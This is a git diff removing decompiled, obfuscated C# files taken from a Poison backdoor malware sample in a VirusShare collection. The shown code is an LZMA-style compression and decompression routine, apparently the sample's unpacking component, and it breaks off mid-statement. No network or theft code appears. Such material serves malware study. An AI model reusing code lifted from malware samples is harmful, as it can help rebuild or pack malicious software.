C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0002; -using \u0001\u0003; -using System; -using System.IO; - -namespace \u0001\u0003 -{ - public class \u0002\u000F : \u0003\u0012, I\u0001\u000E, \u0003\u0011 - { - private const uint \u0003\u0008 = 1024; - private const uint \u0003\u000A = 65536; - private const uint \u0003\u0005 = 65536; - private const uint \u0003\u000E = 1; - private const uint \u0003\u0009 = 1024; - private const uint \u0003\u0006 = 0; - private const uint \u0003\u000B = 2147483647; - private uint \u0002\u001D; - private uint \u0002\u001E; - private uint \u0003\u0002; - private uint[] \u0003\u0003; - private uint[] \u0002\u001F; - private uint \u0002\u001C = (uint) byte.MaxValue; - private uint \u0003; - private uint \u0003\u0001; - private bool \u0003\u0004 = true; - private uint \u0003\u000D; - private uint \u0003\u000C = 4; - private uint \u0003\u0007 = 66560; - - public void \u0002\u001A(int numHashBytes) - { - this.\u0003\u0004 = numHashBytes > 2; - if (this.\u0003\u0004) - { - this.\u0003\u000D = 0U; - this.\u0003\u000C = 4U; - this.\u0003\u0007 = 66560U; - } - else - { - this.\u0003\u000D = 2U; - this.\u0003\u000C = 3U; - this.\u0003\u0007 = 0U; - } - } - - public new void \u0002\u0019(Stream stream) => base.\u0002\u0019(stream); - - public new void \u0002\u0017() => base.\u0002\u0017(); - - public new void \u0001\u001B() - { - base.\u0001\u001B(); - for (uint index = 0; index < this.\u0003\u0001; ++index) - this.\u0002\u001F[(IntPtr) index] = 0U; - this.\u0002\u001D = 0U; - this.\u0003\u0016(-1); - } - - public new void \u0002\u0015() - { - if (++this.\u0002\u001D >= this.\u0002\u001E) - this.\u0002\u001D = 0U; - base.\u0002\u0015(); - if (this.\u0003\u001E != (uint) int.MaxValue) - return; - this.\u0003\u0010(); - } - - public new byte \u0002\u0011(int index) => base.\u0002\u0011(index); - - public new uint \u0002\u0013(int index, uint distance, uint limit) => base.\u0002\u0013(index, distance, limit); - - public new uint \u0002\u0014() => base.\u0002\u0014(); - - public void \u0002\u0010( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this.\u0002\u001C = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.\u0002\u0010(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this.\u0003\u0002 = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this.\u0002\u001E != (int) num1) - this.\u0003\u0003 = new uint[(IntPtr) ((this.\u0002\u001E = num1) * 2U)]; - uint num2 = 65536; - if (this.\u0003\u0004) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this.\u0003 = num7; - num2 = num7 + 1U + this.\u0003\u0007; - } - if ((int) num2 == (int) this.\u0003\u0001) - return; - this.\u0002\u001F = new uint[(IntPtr) (this.\u0003\u0001 = num2)]; - } - - public uint \u0002\u0012(uint[] distances) - { - uint num1; - if (this.\u0003\u001E + this.\u0003\u0002 <= this.\u0004) - { - num1 = this.\u0003\u0002; - } - else - { - num1 = this.\u0004 - this.\u0003\u001E; - if (num1 < this.\u0003\u000C) - { - this.\u0002\u0015(); - return 0; - } - } - uint num2 = 0; - uint num3 = this.\u0003\u001E > this.\u0002\u001E ? this.\u0003\u001E - this.\u0002\u001E : 0U; - uint index1 = this.\u0003\u0019 + this.\u0003\u001E; - uint num4 = 1; - uint index2 = 0; - uint num5 = 0; - uint num6; - if (this.\u0003\u0004) - { - uint num7 = \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) index1]] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)]; - index2 = num7 & 1023U; - uint num8 = num7 ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 2U)] << 8; - num5 = num8 & (uint) ushort.MaxValue; - num6 = (num8 ^ \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) (index1 + 3U)]] << 5) & this.\u0003; - } - else - num6 = (uint) this.\u0003\u0018[(IntPtr) index1] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)] << 8; - uint num9 = this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num6)]; - if (this.\u0003\u0004) - { - uint num10 = this.\u0002\u001F[(IntPtr) index2]; - uint num11 = this.\u0002\u001F[(IntPtr) (1024U + num5)]; - this.\u0002\u001F[(IntPtr) index2] = this.\u0003\u001E; - this.\u0002\u001F[(IntPtr) (1024U + num5)] = this.\u0003\u001E; - if (num10 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num10)] == (int) this.\u0003\u0018[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num12 = (int) num2; - uint num13 = (uint) (num12 + 1); - uint index3 = (uint) num12; - int num14; - num4 = (uint) (num14 = 2); - numArray1[(IntPtr) index3] = (uint) num14; - uint[] numArray2 = distances; - int num15 = (int) num13; - num2 = (uint) (num15 + 1); - uint index4 = (uint) num15; - int num16 = (int) this.\u0003\u001E - (int) num10 - 1; - numArray2[(IntPtr) index4] = (uint) num16; - } - if (num11 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num11)] == (int) this.\u0003\u0018[(IntPtr) index1]) - { - if ((int) num11 == (int) num10) - num2 -= 2U; - uint[] numArray3 = distances; - int num17 = (int) num2; - uint num18 = (uint) (num17 + 1); - uint index5 = (uint) num17; - int num19; - num4 = (uint) (num19 = 3); - numArray3[(IntPtr) index5] = (uint) num19; - uint[] numArray4 = distances; - int num20 = (int) num18; - num2 = (uint) (num20 + 1); - uint index6 = (uint) num20; - int num21 = (int) this.\u0003\u001E - (int) num11 - 1; - numArray4[(IntPtr) index6] = (uint) num21; - num10 = num11; - } - if (num2 != 0U && (int) num10 == (int) num9) - { - num2 -= 2U; - num4 = 1U; - } - } - this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num6)] = this.\u0003\u001E; - uint index7 = (uint) (((int) this.\u0002\u001D << 1) + 1); - uint index8 = this.\u0002\u001D << 1; - uint val2; - uint val1 = val2 = this.\u0003\u000D; - if (this.\u0003\u000D != 0U && num9 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num9 + this.\u0003\u000D)] != (int) this.\u0003\u0018[(IntPtr) (index1 + this.\u0003\u000D)]) - { - uint[] numArray5 = distances; - int num22 = (int) num2; - uint num23 = (uint) (num22 + 1); - uint index9 = (uint) num22; - int num24; - num4 = (uint) (num24 = (int) this.\u0003\u000D); - numArray5[(IntPtr) index9] = (uint) num24; - uint[] numArray6 = distances; - int num25 = (int) num23; - num2 = (uint) (num25 + 1); - uint index10 = (uint) num25; - int num26 = (int) this.\u0003\u001E - (int) num9 - 1; - numArray6[(IntPtr) index10] = (uint) num26; - } - uint num27 = this.\u0002\u001C; - while (num9 > num3 && num27-- != 0U) - { - uint num28 = this.\u0003\u001E - num9; - uint index11 = (uint) ((num28 <= this.\u0002\u001D ? (int) this.\u0002\u001D - (int) num28 : (int) this.\u0002\u001D - (int) num28 + (int) this.\u0002\u001E) << 1); - uint num29 = this.\u0003\u0019 + num9; - uint num30 = Math.Min(val1, val2); - if ((int) this.\u0003\u0018[(IntPtr) (num29 + num30)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num30)]) - { - do - ; - while ((int) ++num30 != (int) num1 && (int) this.\u0003\u0018[(IntPtr) (num29 + num30)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num30)]); - if (num4 < num30) - { - uint[] numArray7 = distances; - int num31 = (int) num2; - uint num32 = (uint) (num31 + 1); - uint index12 = (uint) num31; - int num33; - num4 = (uint) (num33 = (int) num30); - numArray7[(IntPtr) index12] = (uint) num33; - uint[] numArray8 = distances; - int num34 = (int) num32; - num2 = (uint) (num34 + 1); - uint index13 = (uint) num34; - int num35 = (int) num28 - 1; - numArray8[(IntPtr) index13] = (uint) num35; - if ((int) num30 == (int) num1) - { - this.\u0003\u0003[(IntPtr) index8] = this.\u0003\u0003[(IntPtr) index11]; - this.\u0003\u0003[(IntPtr) index7] = this.\u0003\u0003[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this.\u0003\u0018[(IntPtr) (num29 + num30)] < (int) this.\u0003\u0018[(IntPtr) (index1 + num30)]) - { - this.\u0003\u0003[(IntPtr) index8] = num9; - index8 = index11 + 1U; - num9 = this.\u0003\u0003[(IntPtr) index8]; - val2 = num30; - } - else - { - this.\u0003\u0003[(IntPtr) index7] = num9; - index7 = index11; - num9 = this.\u0003\u0003[(IntPtr) index7]; - val1 = num30; - } - } - this.\u0003\u0003[(IntPtr) index7] = this.\u0003\u0003[(IntPtr) index8] = 0U; -label_29: - this.\u0002\u0015(); - return num2; - } - - public void \u0002\u001B(uint num) - { - do - { - uint num1; - if (this.\u0003\u001E + this.\u0003\u0002 <= this.\u0004) - { - num1 = this.\u0003\u0002; - } - else - { - num1 = this.\u0004 - this.\u0003\u001E; - if (num1 < this.\u0003\u000C) - { - this.\u0002\u0015(); - goto label_19; - } - } - uint num2 = this.\u0003\u001E > this.\u0002\u001E ? this.\u0003\u001E - this.\u0002\u001E : 0U; - uint index1 = this.\u0003\u0019 + this.\u0003\u001E; - uint num3; - if (this.\u0003\u0004) - { - uint num4 = \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) index1]] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)]; - this.\u0002\u001F[(IntPtr) (num4 & 1023U)] = this.\u0003\u001E; - uint num5 = num4 ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 2U)] << 8; - this.\u0002\u001F[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this.\u0003\u001E; - num3 = (num5 ^ \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) (index1 + 3U)]] << 5) & this.\u0003; - } - else - num3 = (uint) this.\u0003\u0018[(IntPtr) index1] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num3)]; - this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num3)] = this.\u0003\u001E; - uint index2 = (uint) (((int) this.\u0002\u001D << 1) + 1); - uint index3 = this.\u0002\u001D << 1; - uint val2; - uint val1 = val2 = this.\u0003\u000D; - uint num7 = this.\u0002\u001C; - while (num6 > num2 && num7-- != 0U) - { - uint num8 = this.\u0003\u001E - num6; - uint index4 = (uint) ((num8 <= this.\u0002\u001D ? (int) this.\u0002\u001D - (int) num8 : (int) this.\u0002\u001D - (int) num8 + (int) this.\u0002\u001E) << 1); - uint num9 = this.\u0003\u0019 + num6; - uint num10 = Math.Min(val1, val2); - if ((int) this.\u0003\u0018[(IntPtr) (num9 + num10)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num10)]) - { - do - ; - while ((int) ++num10 != (int) num1 && (int) this.\u0003\u0018[(IntPtr) (num9 + num10)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num10)]); - if ((int) num10 == (int) num1) - { - this.\u0003\u0003[(IntPtr) index3] = this.\u0003\u0003[(IntPtr) index4]; - this.\u0003\u0003[(IntPtr) index2] = this.\u0003\u0003[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this.\u0003\u0018[(IntPtr) (num9 + num10)] < (int) this.\u0003\u0018[(IntPtr) (index1 + num10)]) - { - this.\u0003\u0003[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this.\u0003\u0003[(IntPtr) index3]; - val2 = num10; - } - else - { - this.\u0003\u0003[(IntPtr) index2] = num6; - index2 = index4; - num6 = this.\u0003\u0003[(IntPtr) index2]; - val1 = num10; - } - } - this.\u0003\u0003[(IntPtr) index2] = this.\u0003\u0003[(IntPtr) index3] = 0U; -label_18: - this.\u0002\u0015(); -label_19:; - } - while (--num != 0U); - } - - private void \u0002\u0016(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void \u0003\u0010() - { - uint subValue = this.\u0003\u001E - this.\u0002\u001E; - this.\u0002\u0016(this.\u0003\u0003, this.\u0002\u001E * 2U, subValue); - this.\u0002\u0016(this.\u0002\u001F, this.\u0003\u0001, subValue); - this.\u0003\u0016((int) subValue); - } - - public void \u0002\u0018(uint cutValue) => this.\u0002\u001C = cutValue; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0011.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0011.cs deleted file mode 100644 index 41608bca..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0011.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System.IO; - -namespace \u0001\u0003 -{ - internal interface \u0003\u0011 - { - void \u0002\u0019(Stream inStream); - - void \u0001\u001B(); - - void \u0002\u0017(); - - byte \u0002\u0011(int index); - - uint \u0002\u0013(int index, uint distance, uint limit); - - uint \u0002\u0014(); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0012.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0012.cs deleted file mode 100644 index a4418b12..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0003_0012.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System; -using System.IO; - -namespace \u0001\u0003 -{ - public class \u0003\u0012 - { - public byte[] \u0003\u0018; - private Stream \u0004\u0001; - private uint \u0003\u001D; - private bool \u0003\u001F; - private uint \u0003\u001C; - public uint \u0003\u0019; - public uint \u0003\u0017; - public uint \u0003\u001E; - private uint \u0003\u001B; - private uint \u0003\u001A; - public uint \u0004; - - public void \u0003\u0014() - { - uint num1 = this.\u0003\u0019 + this.\u0003\u001E - this.\u0003\u001B; - if (num1 > 0U) - --num1; - uint num2 = this.\u0003\u0019 + this.\u0004 - num1; - for (uint index = 0; index < num2; ++index) - this.\u0003\u0018[(IntPtr) index] = this.\u0003\u0018[(IntPtr) (num1 + index)]; - this.\u0003\u0019 -= num1; - } - - public virtual void \u0003\u0015() - { - if (this.\u0003\u001F) - return; - while (true) - { - do - { - int count = -(int) this.\u0003\u0019 + (int) this.\u0003\u0017 - (int) this.\u0004; - if (count == 0) - return; - int num = this.\u0004\u0001.Read(this.\u0003\u0018, (int) this.\u0003\u0019 + (int) this.\u0004, count); - if (num == 0) - { - this.\u0003\u001D = this.\u0004; - if (this.\u0003\u0019 + this.\u0003\u001D > this.\u0003\u001C) - this.\u0003\u001D = this.\u0003\u001C - this.\u0003\u0019; - this.\u0003\u001F = true; - return; - } - this.\u0004 += (uint) num; - } - while (this.\u0004 < this.\u0003\u001E + this.\u0003\u001A); - this.\u0003\u001D = this.\u0004 - this.\u0003\u001A; - } - } - - private void \u0003\u0013() => this.\u0003\u0018 = (byte[]) null; - - public void \u0002\u0010(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this.\u0003\u001B = keepSizeBefore; - this.\u0003\u001A = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this.\u0003\u0018 == null || (int) this.\u0003\u0017 != (int) num) - { - this.\u0003\u0013(); - this.\u0003\u0017 = num; - this.\u0003\u0018 = new byte[(IntPtr) this.\u0003\u0017]; - } - this.\u0003\u001C = this.\u0003\u0017 - keepSizeAfter; - } - - public void \u0002\u0019(Stream stream) => this.\u0004\u0001 = stream; - - public void \u0002\u0017() => this.\u0004\u0001 = (Stream) null; - - public void \u0001\u001B() - { - this.\u0003\u0019 = 0U; - this.\u0003\u001E = 0U; - this.\u0004 = 0U; - this.\u0003\u001F = false; - this.\u0003\u0015(); - } - - public void \u0002\u0015() - { - ++this.\u0003\u001E; - if (this.\u0003\u001E <= this.\u0003\u001D) - return; - if (this.\u0003\u0019 + this.\u0003\u001E > this.\u0003\u001C) - this.\u0003\u0014(); - this.\u0003\u0015(); - } - - public byte \u0002\u0011(int index) => this.\u0003\u0018[(long) (this.\u0003\u0019 + this.\u0003\u001E) + (long) index]; - - public uint \u0002\u0013(int index, uint distance, uint limit) - { - if (this.\u0003\u001F && (long) this.\u0003\u001E + (long) index + (long) limit > (long) this.\u0004) - limit = this.\u0004 - (uint) ((ulong) this.\u0003\u001E + (ulong) index); - ++distance; - uint num1 = (uint) ((int) this.\u0003\u0019 + (int) this.\u0003\u001E + index); - uint num2 = 0; - while (num2 < limit && (int) this.\u0003\u0018[(IntPtr) (num1 + num2)] == (int) this.\u0003\u0018[(IntPtr) (num1 + num2 - distance)]) - ++num2; - return num2; - } - - public uint \u0002\u0014() => this.\u0004 - this.\u0003\u001E; - - public void \u0003\u0016(int subValue) - { - this.\u0003\u0019 += (uint) subValue; - this.\u0003\u001D -= (uint) subValue; - this.\u0003\u001E -= (uint) subValue; - this.\u0004 -= (uint) subValue; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0004_0002.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0004_0002.cs deleted file mode 100644 index 20aca2e8..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0004_0002.cs +++ /dev/null @@ -1,89 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System; -using System.IO; - -namespace \u0001\u0003 -{ - public class \u0004\u0002 - { - private byte[] \u0004\u0008; - private uint \u0003\u001E; - private uint \u0004\u0009; - private uint \u0004; - private Stream \u0004\u0001; - - public void \u0002\u0010(uint windowSize) - { - if ((int) this.\u0004\u0009 != (int) windowSize) - this.\u0004\u0008 = new byte[(IntPtr) windowSize]; - this.\u0004\u0009 = windowSize; - this.\u0003\u001E = 0U; - this.\u0004 = 0U; - } - - public void \u0001\u001B(Stream stream, bool solid) - { - this.\u0002\u0017(); - this.\u0004\u0001 = stream; - if (solid) - return; - this.\u0004 = 0U; - this.\u0003\u001E = 0U; - } - - public void \u0001\u001B(Stream stream) => this.\u0001\u001B(stream, false); - - public void \u0002\u0017() - { - this.\u0004\u0005(); - this.\u0004\u0001 = (Stream) null; - } - - public void \u0004\u0005() - { - uint count = this.\u0003\u001E - this.\u0004; - if (count == 0U) - return; - this.\u0004\u0001.Write(this.\u0004\u0008, (int) this.\u0004, (int) count); - if (this.\u0003\u001E >= this.\u0004\u0009) - this.\u0003\u001E = 0U; - this.\u0004 = this.\u0003\u001E; - } - - public void \u0004\u0004(uint distance, uint len) - { - uint num = (uint) ((int) this.\u0003\u001E - (int) distance - 1); - if (num >= this.\u0004\u0009) - num += this.\u0004\u0009; - for (; len > 0U; --len) - { - if (num >= this.\u0004\u0009) - num = 0U; - this.\u0004\u0008[(IntPtr) this.\u0003\u001E++] = this.\u0004\u0008[(IntPtr) num++]; - if (this.\u0003\u001E >= this.\u0004\u0009) - this.\u0004\u0005(); - } - } - - public void \u0004\u0007(byte b) - { - this.\u0004\u0008[(IntPtr) this.\u0003\u001E++] = b; - if (this.\u0003\u001E < this.\u0004\u0009) - return; - this.\u0004\u0005(); - } - - public byte \u0004\u0006(uint distance) - { - uint index = (uint) ((int) this.\u0003\u001E - (int) distance - 1); - if (index >= this.\u0004\u0009) - index += this.\u0004\u0009; - return this.\u0004\u0008[(IntPtr) index]; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0004_000A.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0004_000A.cs deleted file mode 100644 index 4635c779..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0004_000A.cs +++ /dev/null @@ -1,71 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . - -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -namespace \u0001\u0004 -{ - internal abstract class \u0004\u000A - { - public const uint \u0005\u0005 = 4; - public const uint \u0005\u0006 = 12; - public const int \u0005 = 6; - public const int \u0004\u000F = 0; - public const int \u0004\u0017 = 2; - public const uint \u0004\u0018 = 4; - public const uint \u0004\u0012 = 2; - public const int \u0004\u0013 = 4; - public const uint \u0004\u000E = 16; - public const uint \u0004\u000D = 15; - public const uint \u0005\u0007 = 4; - public const uint \u0004\u0010 = 14; - public const uint \u0004\u001F = 10; - public const uint \u0004\u0014 = 128; - public const uint \u0004\u001A = 4; - public const uint \u0004\u0019 = 8; - public const int \u0005\u0002 = 4; - public const uint \u0005\u0004 = 16; - public const int \u0005\u0001 = 4; - public const uint \u0005\u0003 = 16; - public const int \u0004\u001B = 3; - public const int \u0004\u001D = 3; - public const int \u0004\u0015 = 8; - public const uint \u0004\u001C = 8; - public const uint \u0004\u001E = 8; - public const uint \u0004\u0016 = 272; - public const uint \u0004\u0011 = 273; - - public static uint \u0004\u000C(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct \u0005\u0012 - { - public uint \u000B; - - public void \u0001\u001B() => this.\u000B = 0U; - - public void \u0005\u000A() - { - if (this.\u000B < 4U) - this.\u000B = 0U; - else if (this.\u000B < 10U) - this.\u000B -= 3U; - else - this.\u000B -= 6U; - } - - public void \u0005\u000B() => this.\u000B = this.\u000B < 7U ? 7U : 10U; - - public void \u0005\u000C() => this.\u000B = this.\u000B < 7U ? 8U : 11U; - - public void \u0005\u000D() => this.\u000B = this.\u000B < 7U ? 9U : 11U; - - public bool \u0005\u0008() => this.\u000B < 7U; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0006_0005.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0006_0005.cs deleted file mode 100644 index 2eff4332..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0004/_0006_0005.cs +++ /dev/null @@ -1,341 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0002; -using \u0001\u0003; -using \u0001\u0004; -using \u0001\u0005; -using System; -using System.IO; - -namespace \u0001\u0004 -{ - public class \u0006\u0005 : \u0002\u0004, \u0002\u0007 - { - private \u0004\u0002 m_\u0004\u0003 = new \u0004\u0002(); - private \u0006\u0005 \u0006\u0002 = new \u0006\u0005(); - private \u0007\u0001[] \u0005\u0016 = new \u0007\u0001[new IntPtr(192)]; - private \u0007\u0001[] \u0005\u0018 = new \u0007\u0001[new IntPtr(12)]; - private \u0007\u0001[] \u0005\u0019 = new \u0007\u0001[new IntPtr(12)]; - private \u0007\u0001[] \u0005\u001A = new \u0007\u0001[new IntPtr(12)]; - private \u0007\u0001[] \u0005\u001B = new \u0007\u0001[new IntPtr(12)]; - private \u0007\u0001[] \u0005\u0017 = new \u0007\u0001[new IntPtr(192)]; - private \u0007\u0007[] \u0006 = new \u0007\u0007[new IntPtr(4)]; - private \u0007\u0001[] \u0005\u001F = new \u0007\u0001[new IntPtr(114)]; - private \u0007\u0007 \u0005\u001E = new \u0007\u0007(4); - private \u0006\u0005.\u0006\u0004 \u0005\u001C = new \u0006\u0005.\u0006\u0004(); - private \u0006\u0005.\u0006\u0004 \u0006\u0003 = new \u0006\u0005.\u0006\u0004(); - private \u0006\u0005.\u0006\u000C \u0005\u001D = new \u0006\u0005.\u0006\u000C(); - private uint \u0005\u0014; - private uint \u0005\u0015; - private uint \u0006\u0001; - - public \u0006\u0005() - { - this.\u0005\u0014 = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.\u0006[index] = new \u0007\u0007(6); - } - - private void \u0005\u0010(uint dictionarySize) - { - if ((int) this.\u0005\u0014 == (int) dictionarySize) - return; - this.\u0005\u0014 = dictionarySize; - this.\u0005\u0015 = Math.Max(this.\u0005\u0014, 1U); - this.m_\u0004\u0003.\u0002\u0010(Math.Max(this.\u0005\u0015, 4096U)); - } - - private void \u0005\u0011(int lp, int lc) - { - if (lp > 8) - throw new \u0002\u0005(); - if (lc > 8) - throw new \u0002\u0005(); - this.\u0005\u001D.\u0002\u0010(lp, lc); - } - - private void \u0005\u0013(int pb) - { - if (pb > 4) - throw new \u0002\u0005(); - uint numPosStates = (uint) (1 << pb); - this.\u0005\u001C.\u0002\u0010(numPosStates); - this.\u0006\u0003.\u0002\u0010(numPosStates); - this.\u0006\u0001 = numPosStates - 1U; - } - - private void \u0001\u001B(Stream inStream, Stream outStream) - { - this.\u0006\u0002.\u0001\u001B(inStream); - this.m_\u0004\u0003.\u0001\u001B(outStream); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.\u0006\u0001; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.\u0005\u0016[(IntPtr) index3].\u0001\u001B(); - this.\u0005\u0017[(IntPtr) index3].\u0001\u001B(); - } - this.\u0005\u0018[(IntPtr) index1].\u0001\u001B(); - this.\u0005\u0019[(IntPtr) index1].\u0001\u001B(); - this.\u0005\u001A[(IntPtr) index1].\u0001\u001B(); - this.\u0005\u001B[(IntPtr) index1].\u0001\u001B(); - } - this.\u0005\u001D.\u0001\u001B(); - for (uint index = 0; index < 4U; ++index) - this.\u0006[(IntPtr) index].\u0001\u001B(); - for (uint index = 0; index < 114U; ++index) - this.\u0005\u001F[(IntPtr) index].\u0001\u001B(); - this.\u0005\u001C.\u0001\u001B(); - this.\u0006\u0003.\u0001\u001B(); - this.\u0005\u001E.\u0001\u001B(); - } - - public void \u0007\u000D( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - \u0002\u0002 progress) - { - this.\u0001\u001B(inStream, outStream); - \u0004\u000A.\u0005\u0012 obj = new \u0004\u000A.\u0005\u0012(); - obj.\u0001\u001B(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.\u0005\u0016[(IntPtr) (obj.\u000B << 4)].\u0007\u000C(this.\u0006\u0002) != 0U) - throw new \u0002\u0001(); - obj.\u0005\u000A(); - this.m_\u0004\u0003.\u0004\u0007(this.\u0005\u001D.\u0006\u000D(this.\u0006\u0002, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.\u0006\u0001; - if 